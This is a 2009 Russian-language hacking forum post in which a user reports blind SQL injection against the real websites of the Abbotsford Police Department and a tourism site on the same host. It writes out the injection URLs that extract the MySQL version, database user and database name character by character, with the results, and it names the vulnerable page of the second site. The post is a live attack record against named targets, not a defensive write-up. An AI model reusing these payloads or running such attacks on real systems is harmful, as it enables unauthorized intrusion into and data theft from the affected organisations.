Показать сообщение отдельно

  #7726  
Старый 09.02.2009, 21:42
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
С нами: 9314306

Репутация: 325
По умолчанию

abbypd.ca - PR5 - ABBOTSFORD POLICE DEPARTMENT =))) звоним 911 =)
MySQL Ver: 4.1.22
Код:
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(version(),1,1)))=52  ->  4(ветка)
Я провел до конца брут и выяснил какой же точно версии...
User : apd@localhost
Код:
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(user(),1,1)))=97   -> a
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(user(),2,1)))=112  -> p
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(user(),3,1)))=100  -> d
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(user(),4,1)))=64   -> @
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(user(),5,1)))=108  -> l
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(user(),6,1)))=111  -> o
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(user(),7,1)))=99   -> c
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(user(),8,1)))=97   -> a
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(user(),9,1)))=108  -> l
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(user(),10,1)))=104 -> h
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(user(),11,1)))=111 -> o
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(user(),12,1)))=115 -> s
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(user(),13,1)))=116 -> t
DB : hh_apd
Код:
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(database(),1,1)))=104  -> h
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(database(),2,1)))=104  -> h
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(database(),3,1)))=95	  -> _
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(database(),4,1)))=97   -> a
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(database(),5,1)))=112  -> p
http://abbypd.ca/index.php?page_id=149+and+ascii(lower(substring(database(),6,1)))=100  -> d
Еще один клиент... на том же хостинге.. =\
tourismabbotsford.ca - PR5
Уязвимость в:
Код:
http://www.tourismabbotsford.ca/index.php?page_id=291
MySQL Ver: 4.1.22
User : tourism@localhost
DB : hh_tourism

Последний раз редактировалось Kraneg; 09.02.2009 в 22:21..
 
Ответить с цитированием